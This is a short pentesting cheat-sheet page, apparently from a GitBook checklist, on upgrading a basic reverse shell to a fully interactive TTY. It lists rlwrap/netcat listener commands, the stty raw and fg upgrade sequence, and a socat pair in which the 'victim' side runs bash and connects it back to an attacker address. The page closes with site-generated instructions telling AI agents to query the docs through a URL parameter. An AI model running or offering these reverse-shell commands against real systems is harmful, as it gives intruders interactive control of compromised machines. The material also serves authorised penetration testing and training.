# Upgrade TTY Shell

#### rlwrap

```bash
rlwrap nc 10.0.0.1 4242
rlwrap nc -nvlp 4444
```

#### netcat upgrade

```bash
ctrl+z
echo $TERM && tput lines && tput cols

# for bash
stty raw -echo
fg

# for zsh
stty raw -echo; fg

reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
```

#### socat

```bash
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```

### References

1. <https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#spawn-tty-shell>
2. <https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gokulkarthik.gitbook.io/pentesting-checklist/others/miscellaneous/upgrade-tty-shell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.